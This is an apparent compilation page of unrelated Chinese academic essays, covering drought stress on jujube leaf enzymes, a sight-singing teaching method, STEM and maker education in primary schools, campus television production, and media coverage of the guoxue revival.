H2O2的清除是細胞徹底消除活性氧的關鍵，SOD等產生出來的H2O2可以被CAT轉化成H2O，SOD與CAT協同反應使植物體內的活性氧維持在較低水平上。

圖3表明，隨著水分脅迫天數的增加，處理3和處理4的CAT活性總體變化趨勢為波動狀態，均為先上升后下降再上升。隨著干旱持續時間的延長，在水分脅迫處理第15天時，中度脅迫的CAT活性為35.3 μmol/g，重度水分脅迫的CAT為37.9 μmol/g，說明駿棗葉片中CAT活性被激活，能抵抗植物葉片的衰老。

3 討論

SOD、POD和CAT的作用是清除或猝滅已存在的活性氧。SOD將O-2歧化為H2O2和O2，POD與CAT等酶協同作用再將H2O2轉化為無害的H2O。

本試驗結果表明，在水分脅迫下駿棗葉片內的SOD、POD和CAT的活性先升后降。SOD、POD和CAT 3種酶對水分脅迫的敏感程度不同，其中POD活性在輕度水分脅迫下達到最高值，在中度和重度水分脅迫下POD活性降低。而SOD和CAT的活性則在中度水分脅迫下達到最高值。水分脅迫前期3種酶活性的增加有力地證明駿棗在干旱下能維持較高的抗氧化能力。在深度水分脅迫下酶活性降低，說明樹體內活性氧的含量/抗氧化系統的防御力是某一定值，大于這個值的時候，防御系統的清除能力低于活性氧的產生能力，活性氧大量累積，就會損害細胞內包括保護酶在內的生物大分子，從而導致酶活性降低。生物大分子受損后產生活性氧，這樣形成一個惡性循環，最終的結果是活性氧越來越多，樹體受損越來越重，這也是為什么持續的干旱會對植物造成不可恢復性損傷的原因。

參考文獻

[1]李合生主編.植物生理生化實驗原理和技術[M].北京：高等教育出版社，1999.

[2]朱廣廉，鐘害文，張愛琴主編.植物生理學實驗[M].北京：北京大學出版社，1999.

[3]張立軍，樊金娟.植物生理學實驗教程[M].北京：北京農業大學出版社，2007.

篇7

關 鍵 詞：模仿記憶法 旋律 逐漸 改變 由簡到繁 由易到難

在高師音樂教育和專業音樂院校課程體系中，視唱練耳是一門非常重要的基礎課程。通過視唱練耳的教學可以培養學生的音準感、節奏感、調性感等多種音樂感覺;提高視譜能力和記譜能力;發展音樂記憶能力、內心音樂聽覺能力;最終能夠準確地去理解音樂、記憶音樂、表現音樂和創造音樂。

隨著我國教育觀念的逐漸“人本化”改變，相應的教學方法也理應得到切實的完善與改革。古語有云“工欲善其事，必先利其器”（《論語·衛靈公》）。句中的“事”就是視唱練耳課的教學，“器”完全可以視為是技術、教學方法。本文就是在這樣的背景下產生的，借以拋磚引玉。

旋律是由一系列不同高低、長短、強弱的樂音構成的有表現意義的樂音線條，是音樂中極為重要的表現手段。它是音樂作品中最重要的直觀“色彩”，也是人的感官最容易接受、最容易記憶的音樂信息。而且，旋律的形態與人的語言的音調形態之間有著直覺的聯系，更能引起聽覺的注意和內心情感的共鳴。人們可以隨時哼唱出他們心中熟悉的旋律，這些旋律是他們心中永遠的記憶。而不同的旋律包含有不同的音高、節奏、速度、力度等要素。因此，在視唱練耳的教學中，就可以利用旋律這種特性來進行教學。但長期以來，課堂教學中都采用老師彈，學生視唱、聽記的方法。筆者認為這種方法忽略了低水平的學生，無論旋律有多難，都是一概而論。而且各種知識點比如節奏的學習，缺乏針對性，學習旋律時有什么節奏型就學習什么，更不談讓學生知道各種節奏型之間的區別與聯系了。這樣，必然會影響低水平學生的積極性和主動性，其結果可想而知。因此這種“一法獨尊”的教學現象必須改變，要形成“百花齊放，百家爭鳴”的多元化局面，達到共同的教學目的——提高視唱練耳課的教學效率。

本文所論述的“模仿記憶法”采用教育學和心理學的有關原理，具體嫁接到視唱練耳的教學中?！澳７隆?一詞最早出現在貝告德所寫的《構理與政治》一書中?！澳７轮傅氖切Х绿囟ǚ绞降膭幼骰蛘咝袨橐幏?。”①模仿是社會學習的重要形式，在個體社會化過程中起著重要的作用。如嬰幼兒就是因模仿而獲得最初的知識的。模仿也是人們彼此之間相互影響的重要方式之一。人和動物都會模仿，但重要的是怎樣模仿。模仿不應該是教條而刻板地重復他者的動作或行為，而應該是以自己的特有方式，“因地制宜”地模仿?！澳７掠洃浄ā本褪怯靡欢螌W生耳熟能詳的旋律作為教學的模板（模仿對象）。它可以是一首歌曲或是其他音樂體裁的主旋律，其標準是學生必須對它非常熟悉，能夠隨時哼唱，且難度較低，以有利于之后逐漸加大難度，逐漸對旋律中的音高、節奏、節拍、速度等要素進行由簡到繁、由易到難的改變，讓學生了解它們之間前后是怎樣變化的， 從而輕松地掌握各個要素，達到事半功倍的教學效果。美國著名心理學家奧蘇伯爾進行的一組實驗證明:如果進行有意義材料的學習，使新舊知識不斷分化和綜合貫通，而且應該注意在原有知識較為鞏固以后引進新知識，在這種情況下，先后學習的相似而又不一致的材料不僅可以避免相互干擾(前攝抑制和倒攝抑制②)，而且，可以使新舊知識的學習相互促進?！雹圻@里的“原有知識”就是本文所述的模板(模仿對象)，“新知識”就是逐漸進行的各個要素的改變。

下面結合筆者的教學實踐，以莫扎特的《小星星變奏曲》的主旋律為例，具體地介紹“模仿記憶法”的操作步驟：

模板旋律:

第一步，進一步熟悉模板旋律，教師帶領學生簡要分析旋律。

如下：C大調，四四拍子，一共十二小節，和聲多以二、四、五度進行，節奏均為 × × × ×︳× × ×—︳進行?？偟膩碚f，這條旋律是比較簡單的。這樣，讓學生總體上把握了這段旋律，然后，教師彈奏，學生即時視唱和聽記。

第二步，遵照由簡到繁，由易到難的原則，對旋律進行各個要素的逐漸改變。

一、節奏 節奏是音樂的脈搏，是音樂的生命基礎，而“節奏型就是樂音在音響運動過程中將旋律線賦予生命活力的脈動機，它產生各種不同的節奏組合以推動樂音的運動?！雹芤虼吮仨氈攸c進行不同節奏型的練習，使學生熟悉并掌握各種節奏型。

首先，把旋律的第三、第五小節的原有節奏型 × × × ×分別改變為× ×× 　×× ×和×× × × ××，同時把原有的四分音符FA、MI和SOL分別變為兩個八分音符的FA、MI和SOL。此時訓練的節奏型就是×× ×與× ××。然后教師按照上述改變彈奏，要求學生視唱和聽記，并且讓學生說出與原有旋律的不同之處。下面，可以逐漸加大節奏型的難度，如附點節奏型、切分型、十六分音符型等。如下表：

二、音高(音程) 對旋律的分析可知，此曲僅有二、四、五度進行。所以在教學中可以加入三、六、七、八度進行。具體做法還是遵照由簡到繁、由易到難的原則，逐漸由一拍到一小節，再到一樂節，直到一樂句進行改變，使學生循序漸進地在各種變化中掌握各種音程。

例如，可以把第一小節第三、第四拍的SOL分別變為MI，這樣就由原來的DO — SOL純五度進行變為了DO — MI大三度進行；之后可以把旋律中的二、三度音程分別轉位，進行六、七度音程的練習。

三、休止符 “此時無聲勝有聲”，此話說明了休止符在音樂中表情達意的重要作用。通觀全曲，沒有一處休止，因此有必要進行練習。

休止符的練習可以和節奏練習放在一起進行。即把×改為×O把×—改為× ×O或者×× O×；也可以逐步進行十六分休止符、切分的練習。

四、其他 如調式、節拍、速度、力度都是視唱練耳課必須要解決的問題，可以進行大小調之間的轉調，四拍子與二拍子、三拍子之間的轉換，速度由快到慢或由慢到快的改變。這些都可以運用“模仿記憶法”給予練習與解決。

“模仿記憶法”是筆者在教學實踐中總結出來的一套簡單易用的方法，適合于初中級程度的學生。操作的關鍵是遵照由簡到繁、由易到難的原則，讓學生知道前后要素之間的區別和是怎樣變化的。這樣，學生對知識點的認識和掌握是由淺入深，循序漸進的。對教師來說，則成功地完成了課堂教學，達到了共同的教學目的。

注釋:

①見教育心理學[M].(美) J.M·索里等著 高覺敷等譯 人民教育出版社 1982年 第237頁

②前攝抑制是指先學習的材料對記憶后學習的材料所發生的干擾作用。倒攝抑制是指后學習的材料對記憶先學習的材料所發生的干擾作用?！浴陡叩葞煼缎睦韺W教程》[M].李錚主編 中國科學技術大學出版社 1993年 第82頁

篇8

【關鍵詞】STEM教育；Scratch編程；3D建模打??；創客教育

【中圖分類號】G633.67 【文獻標識碼】A

【論文編號】1671-7384（2017）04-0035-04

著名的物理學家錢學森曾提出這樣一個問題：“為什么我們的學?？偸桥囵B不出杰出的人才？”這一世紀之問引發了教育界的深入思考。毫無疑問，我們的學校能夠培養出來“人才”，只是錢老所說的“杰出人才”更強調的是具有創新能力的人才。特別是在世界多極化、經濟全球化背景下，科技創新成為驅動經濟發展的關鍵動力，科技人才是國家科技實力、創新實力和國家競爭力的重要體現，因此，培養科技人才、提升創新能力成為各國教育的重要內容。而我國在應試教育背景下，長期以來存在著重腦力輕手工、重理科輕工程的現象，相當多的學生眼高手低、高分低能。遠在大西洋彼岸的創新強國似乎可以為我們提供新思路：美國有“惠普車庫”“迪斯尼車庫”“亨利?福特車庫”“蘋果電腦車庫”“A Spec車庫”等這些為全球提供創新科技的“車庫”，于是便有了“車庫文化”一說。這種車庫文化體現了美國國民的“尚技重工”，推進了人類科技的進步，也潛移默化地影響著他們的下一代，這種“車庫文化”就是創客教育，它提倡自己動手DIY、鼓勵創新開拓的思想。同時，STEM教育被視為培養學生科技創新能力的有效方式，受到世界各國的廣泛關注。STEM 即科學、技術、工程和數學四門學科的簡稱，于20世紀80年代末由美國科學基金會聯合科學家、技術家、工程師和數學家共同提出。STEM教育致力于培養和提高學生跨學科解決問題的能力，強調工程技術與科學、數學等學科的融合。雖然，創客教育與STEM教育的關系在學術界仍然存在爭議，但是在實踐中將學校內的創客教育視為STEM教育，是一種平衡實踐和理性的辦法。美國的STEM教育實踐證明，STEM教育可以提升國民素質，促進就業與收入分配的均衡化，增強國家經濟實力，驅動創新。

創設STEM教育體驗空間

目前，我國的STEM教育逐漸蓬勃發展起來，2016年3月的《中國創客教育藍皮書2015》，體現了國家對STEM教育的重視。許多學校也相繼開展了STEM教育實踐，并取得一定的成果，如清華大學i.Center眾創空間、英特爾―西南交通大學大學生創客活動中心、溫州中學DF創客空間和北京市豐臺區第八中學創客空間。但是前進的道路不會是一帆風順的，筆者在基層了解到的許多學校的STEM教育運作模式是：當上級發文有創新競賽或者機器人賽事的時候，學校層面布置發動，購置賽事主辦方規定某贊助商所在公司生產的機器人，訓練學生參賽拿獎。很多學校的STEM教育的實施現狀從實施時間上看是從文件頒布開始到拿獎狀結束；從內容上看創新大賽往往嫁接了許多教師的創意，機器人比賽運用指定機型、指定軟件、指定方案進行設計；從受眾上看，僅是一小部分學生參與。因此，在STEM教育的實踐過程中存在著內容形式化、創意虛假化、目的功利化的不足。教育是慢的藝術，它需要有一個普及的、持續的推動，因此STEM教育的實踐就必須建設體驗空間，讓每一名學生都有機會、有時間、有空間感受STEM教育的魅力，點燃創造激情。

1. 從社會層面，培育有共同興趣愛好或利益的社會群體

如上海創客中心在內的90家創業服務組織共同成立了上海“眾創空間”聯盟，中國電子學會現代教育技術分會牽頭的全國中小學STEAM教育大會目前已召開四屆；柴火創客空間得到全球最大的創客集會Maker Faire 官方授權，以主辦方的形式從2012 年起開始每年舉辦深圳制匯節。社會作為一個大的環境，擁有豐富的資源和條件，社會群體的建立一方面可以吸引志同道合的學生聚集在一起激發熱情，彼此的想法碰撞出創造火花；另一方面有利于資源的整合和充分利用。利用學校以外的一些好的資源和服務，還會讓學校和學生暢通地享受高精尖技術帶來的視野和能力的躍升，以及以此為載體帶來的人際交流范圍的擴大，為其以后健康走入社會和生活奠定基礎。

2. 從學校層面，建設STEM體驗中心

最近江蘇、重慶、上海等地命名了一批STEM實驗學?；蛘逽TEM實驗工作室。學校是教書育人的主要陣地，因此非常有必要通過學校層面的引領來帶動STEM教育或者說創客教育的開展。在各校建設STEM體驗中心或者創客教室，對學生更開放，可以讓每一名學生都能動動手、動動腦，切實感受到STEM教育的魅力。

3. 從家庭層面，建設角落文化

創作需要有一個DIY的三維物理空間。美國有車庫文化，但許多中國家庭目前的住房條件或許都不具備?；诒緡鴩椋總€中國家庭里可以建設“角落文化”，并配置DIY的相應工具器材，以供孩子們在空閑時間動手擺弄，在這小小的角落里說不定就能萌生大大的創意。

只有建立良好的創客教育大環境才能讓創客運動席卷全國。所以，要解決STEM課程的空間體驗問題，需要通過社會、學校、家庭的“三維驅動”才能有效打通邊界，使得社會之間、學校之間、家長之間的知識和智慧暢通流傳，以智慧生成智慧，最終服務于學生的健康成長與發展。

STEM教育的實施策略

1. 開設STEM創新課程

除了物理空間的創設之外，學校還應該開設符合校本、生本的STEM創新課程，以及持續推進機制的建立。市場上一些公司推出的課程或許有些借鑒意義，但大都是美國的舶來品，在中國落地生根需要適應、嫁接和改造的過程。筆者近幾年在實踐的基礎上先后編撰了《中小學生3D建模打印教程》和《面向STEM的Scratch創新課程》，并且在小W高年級全年級推進，受到了家長和同行的好評。具體策略是，在五年級開設3D建模打印社團，六年級成立STEM創新社團，全年級開設3D建模打印課程和Scratch創新課程，這樣五年級的社團成員到了六年級成為了教師小助手，STEM創新社團成員也成了Scratch創新課程實施中的好幫手。

2. 采用“工作坊”教學模式

開設創客空間，并設置有專門的創意課程，為學生們提供“讓想象落地”的平臺很重要。在實際教學中，探索適合這一嶄新課程的教學模式也需要一線教育者去實踐與思考。筆者在實際教學中采用“工作坊”的教學模式，取得了預期的成效。例如，筆者在2016蘇州市小學信息技術教學觀摩活動中的公開課“沙灘椅塑料構件制作”，從孩子們熟悉的“沙灘椅損壞后如何修復”這一問題入手，讓學生體驗運用3D建模打印解決生活中的實際問題。教學過程中探索“工作坊”教學新模式，微課、學案、教材、小組協作結合運用，各環節在教師的主導下有序展開，整課以“課題競標”為主線，在PPT上實時評價記錄，教學容量大，節奏快，適合高年級學生的年齡特點，取得了良好的教學效果?！肮ぷ鞣弧钡慕巧腥N，分別為“參與者”“專業者”“促成者”，這里教師需要培育好“專業者”，這是工作坊教學模式成功的關鍵所在。3D建模課程是在六年級全年級進入課程的，之前的五年級開設了3D建模打印社團。這些“精英”到了六年級自然而然成為了“專業者”。在Scratch創新課程的學習中，學校STEM創新社團的成員們則也相應地成為了“專業者”。工作坊的寬松環境有利于學生發散性思維的培養和學生間的協助活動的開展。

3. 探索教學評價新機制

筆者在實踐中還對教學評價及獎勵機制進行了一定的探索，取得了較好的成效。

首先是改變學生的評價模式，在應試教育的浸潤下，許多信息技術教師至今還用“考試”來決定學生的評價結果。這就造成學生一些平時學習的惰性，試圖與其他學科一樣，在最后的考試中僥幸過關。針對這一現象，筆者制定了平時成績占百分之九十，期末考核占百分之十的評價機制。每節課作品完成并通過作業提交系統上交的、項目推進明顯、回答難度系數較高問題等方面表現良好的即時加分。最后對總分進行排序，決定學生最終成績的評定。

在同樣的評價策略下，筆者又發現班級和班級之間存在著不小的差異?；诖送瞥霭嗉壸髌吠瓿膳判邪?，及時公布平行班各班的作品完成總數及完成率，喚醒班級的集體榮譽感。于是有的班級為了避免墊底，有的班級為了“一雪前恥”，有的班級則為了爭奪年級第一，紛紛找尋他們所謂的“潛力股”。這種你追我趕的氛圍的形成，顯然有利于教學目標的達成。當然，設立一些激勵機制是必要的，比如，每班的前五名可以獲得老師的簽名贈書，且可以進入學校的STEM創新社團等，這些激勵措施用來激發學生們的學習興趣。

4. 提供傳統的和開源軟硬件制作工具

在創客教室、STEM體驗中心，配備讓學生能實現創意、摸到夢想的3D打印機、Arduino等性價比高的硬件設備。Arduino是開源硬件軟件，它基本透明掉了硬件電子部分，只剩下軟件部分，把電子部分組成“模塊”，這種簡單易懂的軟件使得小學生也能輕松上手，理解使用。也正因如此，它的硬件價格低廉，軟件也無須購買。國內許多公司化運作的機器人比賽，購買一個器材動輒幾千上萬，筆者撰寫的《面向STEM的Scratch課程》配套的可供全班學生使用的25套Arduino器材花銷總和不到2萬，而且由于硬件的兼容性好，傳感器通用性強，在需要升級“版本”時還可有效利用原有器材。

5. 吸納專業及背景廣闊的跨界導師

對于處在發展中的學生來說，擁有專業知識的教師的引領和指導是非常關鍵的。雖然中國目前還沒有出現類似創客之父一樣有影響力等級的人物，但是在學校層面已經有景山學校的吳俊杰、溫州中學的謝作如老師等引領；所有這些都為我國跨學科整合性人才的培養創造了有利條件。

6. 構建線下線上互聯互通的融合空間

為了更好地實施教學，需要打破傳統課程的時空限制。在課程的教學過程中，在學生機端建立“教學微視頻”文件夾，學生除了在工作坊中探討，尋求專業者的指導外 ，還可以從校本課程、教學微視頻等多渠道及時獲得跨越障礙的有效信息。有的學生遠程跟淘寶的傳感器賣家通過旺旺進行溝通，了解傳感器的性能、安裝及相關重要參數等。此時，網絡上的一些“專業者”也參與其間，交流將不再局限在課堂，也不再受到時間和空間的限制。

結 語

學校創客教育、STEM教育的課程開發者謝作如老師指出，中小學建設創客空間必要的條件有：足夠大的場所、足夠全的工具，以及足夠長的開放時間。這三個足夠解決物理三維空間和實施的時間四個維度的要素。實際上，就如本文所述，要有效地持續推進，還需要一線教師開發的適合校情生情的實驗課程，探索適應教育新模態的教學模式及教學評價機制，給各實驗學校培訓和配備STEM教育或者創客教育師資等。

篇9

【關鍵詞】廣播電視編導專業實踐方法技巧

【中圖分類號】J607 【文獻標識碼】A 【文章編號】2095-3089（2014）05-0240-02

廣西藝術學院是一所融合多個藝術門類的全國省屬綜合性藝術院校，獨特的資源優勢，給學生提供了廣闊的實踐平臺。專業的文藝演出、美術設計展覽，豐富的社團文化活動給廣編專業的同學創作實踐提供的豐富的素材。近年來，學校成立了以同學為主體的廣播電視臺作為一個重要的宣傳平臺，一方面為學校廣大師生服務，一方面也構建了廣編專業校園實踐基地。本文以校園文化活動拍攝制作為例，論述廣編專業校園實踐一些方法和技巧，并探討廣播電視編導人才培養模式構建方法。

一、文藝晚會的拍攝技巧及其后期制作方法

（一）架設機位和參數設置

（1）攝影師需要根據文藝晚會的規模大小來考慮機位數量。顯然，晚會規模越大，機位就應該越多，甚至有些需要搖臂、軌道和飛貓來增強鏡頭感，豐富活動的視覺呈現。有些小型的晚會，架設4臺攝像機甚至2臺攝像機就足以表現，如果是4臺機位錄制的話，一般設置為兩臺中間機位，分別負責大全景和中近景。然后另外連個機位布置在一左一右，分別負責舞臺左右兩邊的對象，一般為中近景及特寫。如果是兩個機位的話，就省略掉左右兩邊的角度。這也是我們在校園文藝晚會常用的機位架設方法。在通常的電視節目中，鏡頭一般采用以中近景為主要景別進行表現。當然，如果條件允許，在小規模的晚會我們也可以用更多的機位來表現。也就是說，不管機位設置多少，都必須保證拍攝出來的片子要有景別的變化、角度的變化、現場的動感、色彩的平衡、拍攝對象的完整等等。

（2）架設好機位后，各個機位的攝像師到位，測試設備。同時組織大家統一設置攝像機的數據，參數包括白平衡、快門速度、視頻錄制的格式、視頻分辨率、音頻格式等等。這里要強調一點，統一攝像機的錄制數據非常重要，這直接影響后期的晚會剪輯。至于具體要攝像機調至什么樣的設置，這個要根據晚會的具體要求來定。晚會中不同的節目可能就會有不同的設置，因為燈光、音樂、音響等都在不停的變化，所以我們攝像機的設置也得根據這些變化做相應的調整。

（二）拍攝的注意事項

（1）攝像師在拍攝的過程中，應該清楚的知道自己的機位所負責的景別和拍攝對象，并且要臨場應變，在現場導播的調配下積極地拍攝出有效的鏡頭；當然無論在什么情況下，鏡頭一定要穩，除非有特殊要求，這是每一個攝影師必須做到的。

（2）音頻的錄制，一方面可以是攝像機內錄，一方面可以采用第三方設備單獨錄制音頻，在后期合成的時候加上去，這也是為了保險起見，做一個備份錄制。為了獲得更“干凈”的音頻，最好從導播臺或者攝像機連接一條音頻線至晚會現場的調音臺，這樣為了保證剪輯完的片子就不會有雜音。尤其是拍攝音樂類的晚會更是如此。

當把晚會拍攝的素材采集到電腦后，下面要進行的就是后期制作部分。因為晚會基本上都是多機位拍攝，所以對于后期剪輯來說，我們可以在剪輯軟件中選擇多機位剪輯設置，在軟件中多機位剪輯，就類似我們的導播臺的操作，簡潔方便，剪輯效率非常高。這也是在同學們必須要掌握的技術技巧。為了能夠順利的進行后期剪輯，在晚會拍攝過程中，所有的機位需統一開始錄制，并且錄制過程中不停機，保證完整的錄制過程。

在剪輯過程中，同學們需根據晚會的每個節目來定剪輯的節奏。比如說：在一般情況下，節奏較快的動感類節目，鏡頭的切換就應該相對比較快；節奏較慢的節目，鏡頭切換就應該相對較慢。還可以添加些鏡頭轉換的特效來豐富表現的效果，例如常用的疊化、融化、淡入淡出技巧等等。

此外，文藝晚會剪輯還要涉及到片頭片尾設計、添加字幕、轉場效果、添加音效、視頻特效等等。剪輯完畢后，如果需要刻錄成光盤，還要注意輸出的格式和控制節目畫質。比如說，一般會刻錄成DVD光盤，輸出的視頻為mpeg格式，PAL制式，分辨率一般為720*576，如果是只需要數據光盤，則可以輸出為高清格式。

二、晚會導播的技法

晚會導播對同學來說，是一件很有挑戰性的工作。記得剛開始的時候，同學們對這個看起來很復雜的“大家伙”有點畏懼，后來通過學習和摸索，慢慢懂得了一些關于導播的知識和經驗。在我印象中，有位同學第一次操作導播臺是在第十六屆校園文化藝術節閉幕式晚會上，當時他真是很緊張，腦子一片空白……就這樣在老師的訓斥和自己的自責中結束了整場晚會的導播。后來，通過一次次的鍛煉和總結，他也漸漸的能夠熟練的完成導播臺的各項操作。

對于晚會導播，可以簡要總結如下技法：

首先，必須熟悉導播臺的各項操作方式，提前做設備的安裝調試、反復檢測、晚會開始前半個小時必須完成各項工作，最好在提前一天的彩排中就完成設備的檢修調試。（包括：設備的電源、視音頻輸出/入布線、通話系統接入、監視信號的調試等）這樣晚會開始錄制時就不會那么手足無措，即使現場出現什么故障也能很好及時處理。

其次，導播和攝像師一定要一起參與觀看晚會的彩排，通過彩排提前了解晚會的節目流程、現場演員、舞美燈光的調度、每個節目的內容、風格、各個重要的細節，同時根據節目特點做好拍攝分工。在晚會正式開始之前，導播和攝像師要對晚會了如指掌。這樣，在正式錄制晚會的時候，大家操作起來將會得心應手。

最后，在設備調試完畢后，能否將一場晚會以現場直播的形式完美的呈現出來，這對現場導播來說不是一件容易的事情。現場導播不僅要能夠熟練的操作設備，還必須具備一定的導播經驗和想法。導播的經驗和想法是需要平時不斷地學習和實際操作鍛煉出來的。為了提升同學們的導播素養，可以多多觀看優秀的晚會視頻，學習那些大師們是怎么樣玩轉導播臺的。

三、一般校園內的電視節目制作

（一）新聞片拍攝及剪輯

2012年5月31日，廣藝廣播電視臺正式開播，電視臺的同學們大大小小的活動新聞拍攝了很多，通過這些實踐鍛煉，同學們在新聞制作這塊也得到了一些提高。

首先，要明確的就是新聞具有很強時效性，校園新聞也不例外，要在最快的時間內制作并呈現出來，新聞才有其價值。這一點大家應該今后的工作好好反思反思，時效性非常欠缺，拍攝了新聞內容、不是新聞稿件沒有出來，就是配音沒有錄制好，總有借口不能很好的完成工作任務。

其次，在剛實踐拍攝新聞的時候，同學們往往會腦子發懵，拿著攝像機不知道該拍攝什么，或者是一直不換景別也不換對象的亂拍。要想拍出一條標準的新聞片，一定要抓住新聞的要素，盡可能提前掌握事件新聞內容、主旨。提前到達新聞現場，占據有利位置，分清主次進行多角度多景別拍攝，這樣拍出來的畫面才會有概括性和全面性。比如：拍攝一場畫展開幕式，首先拍攝全景鏡頭呈現舉辦畫展地點；然后拍攝畫展的現場，參展人的講話，嘉賓講話等；接下來拍攝參展人陪同嘉賓一起觀展……這是一個主要的流程，但是還需要補充鏡頭。比如說：畫展會現場所有嘉賓的全景鏡頭、觀眾觀展的特寫鏡頭、美術作品的空鏡頭等。還可以設計一些舒服兼具觀賞性的畫面，嘉賓觀看畫展的時候，可以把鏡頭從美術作品搖到參觀者的視線，有一種人在畫中游的感覺。這樣新聞拍攝的畫面就豐富了，然后再根據解說合理的運用這些豐富的素材。

簡言之，拍攝新聞必須提前做好案頭工作，抓住拍攝的重點，盡可能的多角度多景別拍攝，同時鏡頭感要好，有一定的紀實審美情趣。

（二）綜藝節目設計與制作

廣藝廣播電視臺的綜藝頻道，給大家提供另一角度的創作空間，半年來，綜藝頻道同學們也做出了一些綜藝節目，雖然已經受到校園師生的關注和喜愛，但節目質量還很有欠缺，大家還需要不斷的摸索經驗，提高自己的創作水平。

當然，這里指的是一般的小型綜藝類節目，適合當下學生的實際創作需求。綜藝節目的創意性、趣味性是十分重要，根據不同類型的受眾就應該策劃不同類型的話題。對于大學生這個群體，節目的創作內容可以豐富多彩、包羅萬象。風格可以是幽默搞笑的、時尚潮流的，青春活力的、傳遞正能量的節目。

在制作上也要大膽的創新，有時候可以臨摹一些國內外優秀的娛樂綜藝節目的形式、嫁接一些大學生喜聞樂見的故事、話題。包裝節目的方式也盡可能跳躍、富有活力一些，要張揚出學生的個性。

綜上，可以這樣說，合理有效的利用這些實踐方法技巧，在校園這個實踐平臺上勤懇踏實的努力，是學好專業的有力武器。廣播電視編導人才培養模式構建離不開校園實踐基地的建設，學校應該鼓勵同學要好好利用這個平臺，并指定專業的老師加以輔導，讓校園實踐成為學生的第二課堂。

參考文獻：

[1]謝毅，張印平.《電視節目制作》，暨南大學出版社2001

[2]夏正達. 《攝像基礎教程著》， 上海人民美術出版社 2006

篇10

【關鍵詞】國學熱；大眾傳媒；傳播方式

20世紀90年代以來，沉寂了近一個世紀的國學重新走進人們的視野，并隨即在我國思想文化領域興起了新一輪的“國學熱”?，F代社會中，作為文化載體的大眾傳媒廣泛普及并高度運轉，大大促進了信息傳播領域的發展，成為“國學熱”的有力助推器。研究大眾傳媒時代國學形象的媒介傳播方式，有助于推動國學更廣范圍的普及與更深層次的研究，從而在人民群眾中更好地弘揚傳統民族文化，增強我國民族軟實力，樹立良好的國際形象，提升我國的國際影響力。

國學復歸及其必然性

由于其內涵豐富、外延廣泛，“國學”一詞至今在學術界沒有一個統一、精準的定義。在古代，國學指代國家設立的學校，《周禮?春官宗伯第三》中記載“樂師掌國學之政，以教國子小舞”。唐代韓愈在《竇公墓志銘》中亦有“教誨于國學也，嚴以有禮，扶善遏過”。近代意義上的國學則是在清末民初西學東漸的歷史背景下提出來的，“借用湯因比的‘歷史文明’理論來說，中國國學的誕生，主要是中國人和中國社會面對西方文明的‘挑戰’而提出的‘應戰’之舉”[1]，“國學”是中國文明與西方文明的激烈沖突的產物。多數人認為國學定義始見于章太炎的《國學概論》，曾為國學下定義說：“‘國學’在我們心眼里，只是‘國故學’的縮寫。中國的一切的過去的文化歷史，都是我們的‘國故’；研究這一切過去的歷史文化的學問，就是‘國故學’，省稱為‘國學’?！盵2]這里為國學下的定義在一定程度上可以看做廣義上的國學，“一切過去的歷史文化的學問”，不僅包括傳統的文學、歷史學、哲學等學術領域，還包括音樂、書、畫、建筑等藝術領域，醫卜星象等自然科學領域乃至領域。20世紀90年代末期，借助當代大眾傳播媒介，掀起了新一輪國學文化熱，至今方興未艾，引起了人們的廣泛關注與思考。本文中筆者所理解的國學指代的是狹義下的國學，即以儒釋道為主流的中國傳統的文化與藝術。

國學熱在大眾傳媒時代出現并非偶然，它有著歷史的合理性與必然性。從傳播學角度分析，可得出以下原因：

首先，受眾因素。在信息傳播過程中，受眾是信息的接受者與反映者，是媒介產品的最終消費者，受眾的接受程度是傳播效果的主要體現。一方面，伴隨著經濟的快速發展，物質極大豐富，人民群眾在生活水平提高的同時開始轉向對精神文化消費品的需求，人們要求了解中國古代的傳統文化藝術，滿足更高層次的生活追求；另一方面，我國正處于社會轉型時期，開放的社會機制與環境為人民群眾的多元價值觀提供了條件，但也會造成各種價值觀交織、思潮激蕩，甚至道德淪喪、人們精神空虛的社會現象，而國學中的觀念與思想特別是儒釋道倫理則為人們提供了心靈的依托，幫助人們樹立主流價值取向、找到現代社會生活的個人坐標，重新構建信仰體系；同時，隨著我國綜合實力的顯著提升，世界各國廣泛設立了“孔子學院”以了解“中國形象”，強烈的民族主義情結增強了廣大人民群眾的民族認同感，“國學熱”受到廣泛關注。

其次，大眾傳媒因素(傳播者)。大眾傳媒是現代社會主要的信息提供者，大眾傳播是一種制度化的傳播，“一些重要的‘稀有’公共傳播資源，例如廣播、電視使用的電波頻率等，也是國家以某種制度方式委托給傳媒組織專用的”[3]。國學是幾千年來我國各民族積累的文明與智慧的結晶，大眾傳媒利用傳播特權傳播國學信息，進行輿論引導與宣傳，以促進民族團結，增強我國民族凝聚力。此外，傳播中國文化應當是一種歷史責任，中國應當為世界文化的多元化作出民族的貢獻。[4]大眾傳媒通過國學形象的塑造，來加深世界各國對中國傳統文化與藝術的了解，樹立我國國際形象，增加國際影響力。

最后，傳播媒介因素。麥克盧漢說：“正是傳播媒介在形式上的特性――它在多種多樣的物質條件下一再重現――而不是特定的訊息內容，構成了傳播媒介的歷史行為功效。”[5]當代社會是一個信息大爆炸的社會，信息的高度濃縮與密集促使傳播媒介不斷融合翻新，這也為國學熱的興起提供了客觀條件。

國學形象的主要媒介傳播方式

通過對有關國學形象的媒介傳播方式典型事例的搜集與分析，筆者發現國學形象有以下五種主要媒介傳播方式：

文化名家通過電視講壇方式解讀古典名家名著。以中央電視臺科教頻道《百家講壇》為例，該欄目自2001年7月開播以來，先后邀請一系列教授、學者解讀古典名家名著，他們以當代人的視角和思維方式在自己的專業研究領域內，將傳統上晦澀難懂的古典文學和撲朔迷離的歷史現象，深入淺出地傳達給廣大觀眾，使歷史上藏匿于深宮后院的故事飛入了尋常百姓家。2006年，《百家講壇》被評為央視十大優秀欄目之一，僅次于《新聞聯播》名列榜眼?！栋偌抑v壇》既收獲了優異的收視佳績，也獲得了良好的市場美譽度。電視讓學者有為，學者讓電視深刻，《百家講壇》秉承著“建構時代常識，享受智慧人生”的宗旨使得大眾媒體與高雅文化成功聯姻，成為2006年、2007年引人深思的文化現象。

